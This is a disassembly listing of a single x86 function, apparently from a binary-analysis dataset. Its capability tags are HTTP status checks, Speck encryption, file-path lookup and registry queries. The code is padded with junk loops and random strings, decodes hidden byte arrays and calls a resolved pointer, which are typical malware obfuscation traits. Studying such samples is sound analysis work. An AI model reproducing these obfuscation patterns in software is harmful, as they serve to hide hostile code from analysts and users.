Function at 0x10031580
Capabilities:
Check http status code
Encrypt data using speck
Get common file path
Query or enumerate registry value

Disassembly:
mov eax, 0x1005823b
call fcn.10056dd0
sub esp, 0x5dc
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x200], edx
mov dword [ebp - 0x78], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x18], 0x8dcfd8f2
mov dword [ebp - 0x18], 0x8e10d32d
mov dword [ebp - 0x18], 0x5e4bc795
mov dword [ebp - 0x18], 0x1450
cmp dword [ebp - 0x18], 0x1704
jle 0x10031646
mov dword [ebp - 0x24], ebx
mov edi, ebx
mov dword [ebp - 0x28], 0x5931
mov dword [ebp - 0x1c], edi
mov eax, edi
mov dword [ebp - 0x20], 0x124e
mov dword [ebp - 0x14], eax
mov esi, eax
mov edi, 0x7b8c
mov eax, esi
lea ecx, [ebp - 0x490]
cdq
push edx
push eax
call fcn.10001a7f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10031605
mov eax, dword [eax]
push eax
call fcn.10040493
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x490]
call fcn.1000c5c5
inc esi
dec edi
jne 0x100315eb
mov eax, dword [ebp - 0x14]
dec eax
dec dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
jne 0x100315e4
mov edi, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add edi, esi
dec dword [ebp - 0x28]
mov dword [ebp - 0x1c], edi
jne 0x100315d8
inc esi
mov dword [ebp - 0x24], esi
cmp esi, 0x1c1b
jl 0x100315cc
mov dword [ebp - 0x1c], ebx
jmp 0x10031659
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x38], 0xbacd7953
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jl 0x1003164b
cmp dword [ebp - 0x18], 0x1136
jge 0x10031673
push str.eumxi_qkzdehjq_pcssbmkya_etqiurlpy_cfhyf_bqar_wmt_lpwfvue_cwrdsbdnc_vzji_wzjyzgykx_abregs_zrjaxx_nqjmlx
call fcn.10040493
pop ecx
push 3
mov dword [ebp - 4], ebx
mov dword [ebp - 0x1c], ebx
pop ecx
jmp 0x1003168f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x2e0], 0xfffffff6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1003167e
mov dword [ebp - 0x1c], ebx
jmp 0x100316aa
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3e0], 0x3888ad88
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10031699
mov eax, dword [ebp - 0x38]
xor edx, edx
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
cmp ecx, eax
mov ecx, dword [ebp - 0x38]
setl dl
xor eax, eax
cmp edx, 0x3623
setle al
imul ecx, dword [ebp - 0x38]
sub ecx, eax
mov eax, dword [ebp - 0x2dc]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
add ecx, eax
mov eax, dword [ebp - 0x38]
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x2d8]
setge cl
mov dword [ebp - 0x18], ecx
xor ecx, ecx
cmp dword [ebp - 0x18], eax
setg cl
cmp ecx, 0x8ee3
jl 0x10031716
cmp dword [ebp - 0x38], ebx
je 0x10031723
cmp dword [ebp - 0x2dc], ebx
je 0x10031723
xor eax, eax
inc eax
jmp 0x10031725
mov eax, ebx
mov dword [ebp - 0x18], eax
xor ecx, ecx
mov eax, dword [ebp - 0x18]
cmp eax, 0x2b622b60
setge cl
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x18]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3dc], eax
mov dword [ebp - 0x1b4], ebx
mov dword [ebp - 0x1b0], ebx
mov dword [ebp - 0x1ac], ebx
mov byte [ebp - 4], 3
mov dword [ebp - 0x28], 0x3ff2
cmp dword [ebp - 0x28], 0x429d
jle 0x100317cb
mov edi, ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], 0x76c7
mov esi, dword [ebp - 0x14]
mov dword [ebp - 0x20], ebx
mov ecx, ebx
mov eax, esi
sar eax, cl
mov ecx, 0x10070c18
or eax, edi
cdq
push edx
push eax
call fcn.1000bb2c
inc ebx
cmp ebx, 0x6747
jl 0x1003178a
mov esi, dword [ebp - 0x24]
add dword [ebp - 0x14], esi
dec dword [ebp - 0x18]
push 0
pop ebx
jne 0x10031784
inc esi
mov dword [ebp - 0x24], esi
cmp esi, 0x7e2d
jl 0x1003177a
inc edi
cmp edi, 0x2e16
jl 0x10031777
mov dword [ebp - 0x20], ebx
lea ecx, [ebp - 0x2f8]
push 4
call fcn.1000be0e
mov byte [ebp - 4], 4
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x230], 0xf0ddd9cd
mov dword [ebp - 0x18], 0x2891
cmp dword [ebp - 0x18], 0x29c9
jle 0x1003184b
push ebx
push 0xf7c
push 0xcbe
push 0xc5f
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
sar eax, cl
mov ecx, 0x10070c18
cdq
push edx
push eax
call fcn.1000bb2c
inc edi
cmp edi, 0x4ee9
jl 0x1003181a
inc esi
cmp esi, 0x6670
jl 0x10031818
push 0x6e8
push ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x2499
lea eax, [ebp - 0x170]
push ebx
push eax
lea edx, [ebp - 0x2f8]
call fcn.10030b87
add esp, 0xc
mov byte [ebp - 4], 5
cmp dword [ebp - 0x18], 0x26a2
jge 0x100318a0
mov edx, str.pyytcup_coctye_ydxmwt_scmqa_eqn_rwolsnes_psy
mov ecx, 0x10070c18
call fcn.1000e878
jmp 0x100318a0
push 0x3982
lea eax, [ebp - 0x45]
mov dword [ebp - 4], 4
push eax
push ebx
push 0xcd4
push 0x71d6
push 0x7fc5
push 0x3a51
push 1
mov byte [ebp - 0x45], bl
mov edx, 0x6f29
push 0x457c
xor cl, cl
call fcn.10031145
add esp, 0x24
mov dword [ebp - 0x20], ebx
jmp 0x10031924
mov dword [ebp - 0x18], 0xfffffffb
mov dword [ebp - 0x18], 2
mov dword [ebp - 0x14], ebx
jmp 0x10031907
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x5a0], 0x54165132
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x100318f6
lea eax, [ebp - 0x230]
xor cl, cl
push eax
sub esp, 0xc
call fcn.1003137b
add esp, 0x10
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jg 0x100318e3
lea ecx, [ebp - 0x2f8]
call fcn.1000be91
mov byte [ebp - 4], 7
cmp dword [ebp - 0x28], 0x3c19
jge 0x1003196e
mov edx, str.yabataz_tqh_khhqwsfn_lgnk_pgo_kwwlee_qadgdwc_bjoirjvvr_rhffi_azhiqs_rlkc_ztyim
mov ecx, 0x10070c18
call fcn.1000e878
jmp 0x1003196e
mov dword [ebp - 4], 3
mov dword [ebp - 0x20], 6
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x14], ebx
jmp 0x10031999
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x54], 0x110c93b4
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1003198b
mov dword [ebp - 0x54], 0x1c
jmp 0x10031a4d
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], ebx
je 0x10031a2b
cmp dword [ebp - 0x54], ebx
je 0x100319bb
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
sub edx, 0xf59e
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x54]
mov esi, dword [ebp - 0x1c]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setge dl
add esi, edx
neg esi
sbb esi, esi
xor ecx, ecx
neg esi
cmp eax, esi
setge cl
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
imul ecx, eax
mov eax, dword [ebp - 0x14]
add eax, ecx
xor ecx, ecx
cmp eax, 0xbc40
setl cl
cmp ecx, 6
jae 0x10031a21
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
je 0x10031a2b
xor ecx, ecx
inc ecx
jmp 0x10031a2d
mov ecx, ebx
mov eax, dword [ebp - 0x54]
xor edx, edx
sub ecx, eax
mov eax, dword [ebp - 0x14]
cmp ecx, 0x656540f2
setle dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x18], ecx
dec dword [ebp - 0x54]
cmp dword [ebp - 0x54], 0xffffffe9
je 0x100319ab
mov dword [ebp - 0x20], 1
cmp dword [ebp - 0x20], ebx
jl 0x10031b11
push 0x4d75
sub esp, 0xc
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], 4
mov cl, 1
call fcn.1003137b
mov dword [ebp - 0x18], 0xa16
add esp, 0x10
cmp dword [ebp - 0x18], 0xdde
jle 0x10031ada
mov esi, ebx
mov edi, ebx
mov eax, edi
lea ecx, [ebp - 0x4c0]
xor eax, esi
cdq
push edx
push eax
call fcn.10001a7f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10031ab3
mov eax, dword [eax]
push eax
call fcn.10040493
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4c0]
call fcn.1000c5c5
inc edi
cmp edi, 0x4914
jl 0x10031a97
inc esi
cmp esi, 0x670c
jl 0x10031a95
mov ecx, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x28]
cmp eax, ecx
mov eax, dword [ebp - 0x20]
setl dl
mov dword [ebp + eax*4 - 0x54], edx
cmp dword [ebp - 0x18], 0x6ea
jge 0x10031b02
push str.sdxu_nbuk_aolcsfmyy_kfrasrqj_bszmts_ncjeag_xjschaj
call fcn.10040493
pop ecx
mov dword [ebp - 4], 3
dec dword [ebp - 0x20]
jmp 0x10031a5e
push 0x63
pop eax
push 2
mov dword [ebp - 0xc0], 0x1709ca02
mov dword [ebp - 0xbc], 0x1a03060a
mov dword [ebp - 0xb8], 0x26042b06
mov byte [ebp - 0xb4], bl
mov dword [ebp - 0xb3], 0x5220126
mov dword [ebp - 0xaf], 0xc420b4c
mov dword [ebp - 0xab], 0x8030703
mov byte [ebp - 0xa7], 1
mov word [ebp - 0x390], ax
pop esi
movzx eax, byte [ebp + esi - 0xc2]
movzx edx, byte [ebp + esi - 0xbf]
mov ecx, edx
movzx eax, word [ebp + eax*2 - 0x394]
or ecx, eax
and edx, eax
movzx eax, byte [ebp + esi - 0xc0]
sub ecx, edx
add esi, 2
mov word [ebp + eax*2 - 0x394], cx
cmp esi, 0x1a
jb 0x10031b67
xor eax, eax
lea ecx, [ebp - 0x304]
push 4
mov word [ebp - 0x37a], ax
call fcn.1000be0e
push 4
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x1c], ebx
pop edx
jmp 0x10031bd4
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x304]
mov dword [eax + ecx*4], 3
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x10031bc1
mov dword [ebp - 0x1c], ebx
jmp 0x10031bef
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x25c], 0x32fe2236
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x10031bde
mov dword [ebp - 0x254], 3
cmp dword [ebp - 0x254], ebx
jl 0x10031c40
push 0x1be0
push 1
push ebx
push 1
mov dword [ebp - 0x210], 0x3d2d
lea edx, [ebp - 0x210]
push 0x51e8
mov ecx, 0x5c2e
call fcn.10030cb2
mov eax, dword [ebp - 0x254]
add esp, 0x14
dec dword [ebp - 0x254]
jns 0x10031c06
lea ecx, [ebp - 0x304]
mov byte [ebp - 4], 3
call fcn.1000be91
push 0x68
pop eax
push 2
mov ecx, ebx
mov dword [ebp - 0x94], 0xb038e06
mov dword [ebp - 0x90], 0x4c044e02
mov dword [ebp - 0x8c], 0xc010205
mov dword [ebp - 0x88], 0xef040a07
mov word [ebp - 0x84], 0x6ec8
mov byte [ebp - 0x82], 0x10
mov byte [ebp - 0x81], bl
mov byte [ebp - 0x80], 0xb
mov word [ebp - 0x2b0], ax
pop esi
mov dword [ebp - 0x178], ecx
cmp esi, 0xe
jne 0x10031cb9
push 5
pop ecx
push 0x11
mov dword [ebp - 0x178], ecx
pop esi
jmp 0x10031d10
movzx edx, byte [ebp + esi - 0x93]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x96]
movzx ecx, word [ebp + eax*2 - 0x2bc]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x94]
add ecx, edx
mov edx, 0x5e41
mov word [ebp + eax*2 - 0x2bc], cx
lea eax, [ebp - 0x178]
push eax
push 1
push 0x6a0c
call fcn.10030b87
mov ecx, dword [ebp - 0x178]
add esp, 0xc
add esi, 2
cmp esi, 0x15
jb 0x10031ca6
xor eax, eax
mov dword [ebp - 0x330], 7
mov word [ebp - 0x2ac], ax
lea ecx, [ebp - 0x344]
mov word [ebp - 0x344], ax
lea eax, [ebp - 0x2bc]
push eax
mov dword [ebp - 0x334], ebx
call fcn.100235cd
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x328]
xor eax, eax
mov dword [ebp - 0x314], 7
mov word [ebp - 0x328], ax
lea eax, [ebp - 0x394]
push eax
mov dword [ebp - 0x318], ebx
call fcn.100235cd
lea eax, [ebp - 0x328]
push eax
lea ecx, [ebp - 0x460]
call fcn.10026a85
lea eax, [ebp - 0x344]
push eax
lea ecx, [ebp - 0x448]
call fcn.10026a85
push ebx
push 1
lea ecx, [ebp - 0x328]
call fcn.1000c799
push ebx
push 1
lea ecx, [ebp - 0x344]
call fcn.1000c799
mov byte [ebp - 4], 0xd
lea eax, [ebp - 0x430]
push dword [ebp - 0x170]
lea ecx, [ebp - 0x190]
mov dword [ebp - 0x190], ebx
push eax
lea eax, [ebp - 0x460]
mov dword [ebp - 0x18c], ebx
push eax
push ebx
mov dword [ebp - 0x188], ebx
call fcn.10033eed
push fcn.1003379e
push 1
push 0x30
lea eax, [ebp - 0x460]
mov byte [ebp - 4], 0xf
push eax
call fcn.1004024b
push 0x6fd5
mov dl, 1
call fcn.10030c08
pop ecx
push 7
pop ecx
xor eax, eax
lea edi, [ebp - 0x394]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x20], 0x8a87013d
mov dword [ebp - 0x14], ebx
jmp 0x10031e3f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x430], 0x40d7f825
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10031e2e
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 3
jg 0x10031faa
push dword [ebp - 0x170]
movdqa xmm0, xmmword [0x10064ae0]
lea eax, [ebp - 0x394]
push eax
lea eax, [ebp - 0x3a4]
mov dword [ebp - 0x228], ebx
push eax
push ebx
lea ecx, [ebp - 0x228]
mov dword [ebp - 0x224], ebx
movdqu xmmword [ebp - 0x3a4], xmm0
mov dword [ebp - 0x220], ebx
call fcn.1000f24e
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x18], 0x12d1
cmp dword [ebp - 0x18], 0x158f
jle 0x10031f05
mov ecx, ebx
mov dword [ebp - 0x14], ebx
mov edi, ebx
mov esi, ebx
mov eax, esi
and eax, edi
or eax, ecx
lea ecx, [ebp - 0x4d8]
cdq
push edx
push eax
call fcn.10001a7f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10031ecf
mov eax, dword [eax]
push eax
call fcn.10040493
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4d8]
call fcn.1000c5c5
mov ecx, dword [ebp - 0x14]
inc esi
cmp esi, 0x1885
jl 0x10031eb1
inc edi
cmp edi, 0x1b56
jl 0x10031eaf
inc ecx
mov dword [ebp - 0x14], ecx
cmp ecx, 0x65b9
jl 0x10031ead
cmp dword [ebp - 0x18], 0xf99
jge 0x10031f19
push str.kdqnyh_pokdgyufd_aqdnpd_mgawqhnkc_dvx_urrc
call fcn.10040493
pop ecx
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x14], ebx
jmp 0x10031f36
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1a0], 0x2a727599
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10031f25
mov ecx, dword [ebp - 0x228]
mov dword [ecx + 0xc], ebx
mov eax, dword [ecx + 0xc]
inc dword [ecx + 0xc]
cmp dword [ecx + 0xc], 4
mov dword [ebp + eax*4 - 0x430], 1
jl 0x10031f45
mov dword [ebp - 0x1a0], ebx
jmp 0x10031f8a
push 0x2161
push 1
push 1
push 1
push 0x4396
push 2
pop edx
mov ecx, 0x2d49
call fcn.10030cb2
add esp, 0x14
inc dword [ebp - 0x1a0]
cmp dword [ebp - 0x1a0], 3
jle 0x10031f64
lea ecx, [ebp - 0x228]
mov byte [ebp - 4], 0xf
call fcn.1000be91
inc dword [ebp - 0x20]
jmp 0x10031e48
xor eax, eax
lea edi, [ebp - 0x2bc]
stosd dword es:[edi], eax
lea edx, [ebp + 8]
push ecx
push ebx
push ecx
stosd dword es:[edi], eax
lea ecx, [ebp - 0x190]
push 0x3c31
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
call fcn.10030f0f
add esp, 0x10
lea ecx, [ebp - 0x290]
push 2
call fcn.1000be0e
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x2ec]
mov dword [ebp - 0x58], 0x7730f94f
push 4
call fcn.1000be0e
push ecx
xor eax, eax
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x214]
inc eax
push ecx
push eax
mov dword [ebp - 0x22c], eax
lea edx, [ebp - 0x290]
mov dword [ebp - 0x21c], ebx
push 0x6d3a
call fcn.10030d31
lea eax, [ebp - 0x2ec]
mov dl, 1
push eax
push 1
lea eax, [ebp - 0x214]
mov ecx, 0x20fd
push eax
push 1
push 0x2ae8
call fcn.10030e33
add esp, 0x24
mov dword [ebp - 0x58], ebx
jmp 0x10032095
push ebx
push 0x47f7
push 0x64d8
lea eax, [ebp - 0x21c]
mov dword [ebp - 0x234], 0xcd329b3a
push eax
lea eax, [ebp - 0x22c]
push eax
push ecx
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x290]
push eax
push ecx
push ecx
lea edx, [ebp - 0x2ec]
lea ecx, [ebp - 0x58]
call fcn.1003095e
add esp, 0x28
inc dword [ebp - 0x58]
cmp dword [ebp - 0x58], 1
jle 0x1003204d
mov byte [ebp - 0x29], bl
cmp byte [ebp - 0x29], 0
je 0x1003216b
push 0x514a
push ecx
mov edx, 0x4161
mov cl, 1
call fcn.10030ea0
mov dword [ebp - 0x20], 0x7138
cmp dword [ebp - 0x20], 0x721d
pop ecx
pop ecx
jle 0x10032150
mov eax, ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x28], ebx
mov ecx, ebx
mov dword [ebp - 0x24], 0x3356
mov dword [ebp - 0x18], ecx
mov edi, eax
mov esi, ebx
shl edi, cl
mov ecx, esi
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x478]
cdq
push edx
push eax
call fcn.10001a7f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10032108
mov eax, dword [eax]
push eax
call fcn.10040493
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x478]
call fcn.1000c5c5
inc esi
cmp esi, 0x4ad3
jl 0x100320ea
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x28]
add ecx, edi
dec dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], ecx
jne 0x100320e4
inc edi
mov dword [ebp - 0x28], edi
cmp edi, 0xc52
jl 0x100320d8
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 0x2224
jl 0x100320d5
cmp dword [ebp - 0x20], 0x712c
jge 0x10032164
push str.smfcjkho_kjtusla_snnz_fma_miqpucdsr_vufropv_verf_qca_xpmbohnyg
call fcn.10040493
pop ecx
mov dword [ebp - 4], 0x14
lea ecx, [ebp - 0x2ec]
call fcn.1000be91
lea ecx, [ebp - 0x290]
mov byte [ebp - 4], 0xf
call fcn.1000be91
mov dword [ebp - 0x18], 0x624039b
mov byte [ebp - 0x29], bl
cmp byte [ebp - 0x29], 0
je 0x100321ca
push 0x749e
push 0x16a9
push 1
push 0x5667
push 0x478
push 0x55d4
push 0x7024
push ebx
push 0x345f
mov edx, 0xa8a
mov cl, 1
call fcn.10031145
add esp, 0x24
push ebx
lea eax, [ebp - 0x3d]
mov byte [ebp - 0x3d], bl
push eax
push ecx
push ecx
push 0x7d03
push 0x3b3a
mov ecx, 0x4e8a
call fcn.100313a6
add esp, 0x18
push ebx
push 0xa7b3
push 0x7a8e
call fcn.1002259d
pop ecx
pop ecx
call eax
push ecx
lea eax, [ebp - 0x36c]
mov dl, 1
push eax
call fcn.10030eea
mov dword [ebp - 0x3c], ebx
mov eax, 0x3bf38c08
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x20], 0x3ae5d5ec
mov dword [ebp - 0x1c], 0xfffffffc
mov dword [ebp - 0x24], 0x3029
cmp dword [ebp - 0x24], 0x309f
pop ecx
pop ecx
jle 0x10032296
mov edi, ebx
mov dword [ebp - 0x18], ebx
mov esi, ebx
mov eax, esi
mov dword [ebp - 0x28], ebx
xor eax, edi
mov dword [ebp - 0x14], eax
mov edi, eax
mov eax, ebx
mov ecx, 0x10070c18
or eax, edi
cdq
push edx
push eax
call fcn.1000bb2c
inc ebx
cmp ebx, 0x34fa
jl 0x10032261
mov edi, dword [ebp - 0x18]
inc esi
push 0
pop ebx
cmp esi, 0x50e0
jl 0x10032255
inc edi
mov dword [ebp - 0x18], edi
cmp edi, 0x5d23
jl 0x10032253
mov dword [ebp - 0x18], 0xfffffffb
mov byte [ebp - 4], 0x17
cmp dword [ebp - 0x24], 0x2d54
jge 0x100322d7
mov edx, str.jrlbcx_xhm_ugickjy_akhidpdsv_lfxubilrr_hcrm_ljh_ippgvv_sarpy_emi_xvjvopse_bycpva_xgvicc_jtalaheir
mov ecx, 0x10070c18
call fcn.1000e878
jmp 0x100322d7
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x18], 0x32d748ae
mov dword [ebp - 0x18], 0x4e20eeb4
mov dword [ebp - 0x18], 0x7758a8c
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], ebx
jmp 0x10032310
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x194], 0xb66c146d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x100322ff
cmp dword [ebp - 0xa0], ebx
je 0x10032362
mov eax, dword [ebp - 0x9c]
cmp eax, dword [ebp - 0xa0]
jle 0x10032338
cmp dword [ebp - 0xa0], ebx
jne 0x10032338
mov edx, ebx
jmp 0x1003233b
xor edx, edx
inc edx
mov eax, dword [ebp - 0x98]
xor ecx, ecx
cmp edx, eax
setl cl
cmp ecx, dword [ebp - 0xa4]
jne 0x10032356
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0xa0]
xor ecx, ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x1c]
cmp eax, 0xc5c3
push 8
setne cl
xor eax, eax
imul ecx, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xa0]
cmp ecx, 0x989265
setle al
add edx, eax
mov eax, dword [ebp - 0x20]
neg edx
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, 0x96d5
setg al
mov dword [ebp - 0x20], eax
dec dword [ebp - 0x194]
pop eax
push 0x43
mov byte [ebp - 0xf9], al
mov byte [ebp - 0xdf], al
mov byte [ebp - 0xc2], al
pop eax
push 2
mov dword [ebp - 0x10c], 0x7306a304
mov dword [ebp - 0x108], 0x7511010f
mov dword [ebp - 0x104], 0x44203925
mov dword [ebp - 0x100], 0x750a7816
mov word [ebp - 0xfc], 0xd0d
mov byte [ebp - 0xfa], 5
mov dword [ebp - 0xf8], 0x1a1f1c18
mov dword [ebp - 0xf4], 0x221030c
mov dword [ebp - 0xf0], 0x9030710
mov word [ebp - 0xec], 0x7d01
mov byte [ebp - 0xea], 0x23
mov byte [ebp - 0xe9], bl
mov dword [ebp - 0xe8], 0xc247117
mov dword [ebp - 0xe4], 0x1c151513
mov byte [ebp - 0xe0], 0x22
mov dword [ebp - 0xde], 0x150e0107
mov dword [ebp - 0xda], 0x731a6e1b
mov dword [ebp - 0xd6], 0x10b0212
mov dword [ebp - 0xd2], 0xd1d0a14
mov byte [ebp - 0xce], bl
mov dword [ebp - 0xcd], 0x1c3d1e4f
mov word [ebp - 0xc9], 0x1976
mov byte [ebp - 0xc7], bl
mov dword [ebp - 0xc6], 0x69097402
mov byte [ebp - 0xc1], 0x69
mov word [ebp - 0x588], ax
pop esi
movzx eax, byte [ebp + esi - 0x10e]
movzx ecx, byte [ebp + esi - 0x10b]
push 2
movzx eax, word [ebp + eax*2 - 0x590]
mov edx, eax
and eax, ecx
or edx, ecx
sub edx, eax
movzx eax, byte [ebp + esi - 0x10c]
mov word [ebp + eax*2 - 0x590], dx
pop edx
add esi, edx
cmp esi, 0x4c
jb 0x100324c5
xor eax, eax
xor ecx, ecx
mov word [ebp - 0x544], ax
inc ecx
mov dword [ebp - 0x34], 0xe6e3245f
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x24], 0xc34f1d4b
mov dword [ebp - 0x30], 0x250042
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x14], ebx
jmp 0x1003253c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1d4], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1003252b
cmp dword [ebp - 0x34], ebx
je 0x1003254c
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x18], ebx
je 0x10032692
mov dword [ebp - 0x24], 0x40eb
mov dword [ebp - 0x28], 0x169ff9e6
mov dword [ebp - 0x14], 0x6d4c01e0
mov dword [ebp - 0x14], ebx
jmp 0x1003258c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x34c], 0xbb9a67b9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1003257b
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x18], ebx
jne 0x100325b4
mov dword [ebp - 0x348], ecx
mov eax, dword [ebp - 0x1d0]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1d0]
mov eax, dword [ebp - 0x1d4]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x24], 0x21d3
cmp dword [ebp - 0x24], 0x246e
jle 0x10032655
mov edx, ebx
mov dword [ebp - 0x14], ebx
mov edi, ebx
mov dword [ebp - 0x18], ebx
mov ecx, edi
mov esi, ebx
mov edi, edx
sar edi, cl
mov ecx, esi
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x4f0]
cdq
push edx
push eax
call fcn.10001a7f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003260c
mov eax, dword [eax]
push eax
call fcn.10040493
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4f0]
call fcn.1000c5c5
inc esi
cmp esi, 0x7bca
jl 0x100325ee
mov edi, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
inc edi
mov dword [ebp - 0x18], edi
cmp edi, 0x7e24
jl 0x100325e6
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xea9
jl 0x100325e1
push ebx
push 0x1b6d
push ebx
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
mov byte [ebp - 0x46], bl
cmp dword [ebp - 0x24], 0x1e7c
jge 0x1003266c
push str.pmrtrsn_wjpnbhl_genxt_bqoe_cadoflrm_owscpbmu_tvjk_enfyu
call fcn.10040493
pop ecx
push ecx
push 1
push ecx
lea eax, [ebp - 0x46]
mov dword [ebp - 4], 0xf
push eax
mov edx, 0x75ab
mov ecx, 0x7cd9
call fcn.10030f0f
add esp, 0x10
jmp 0x10032718
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x30], ebx
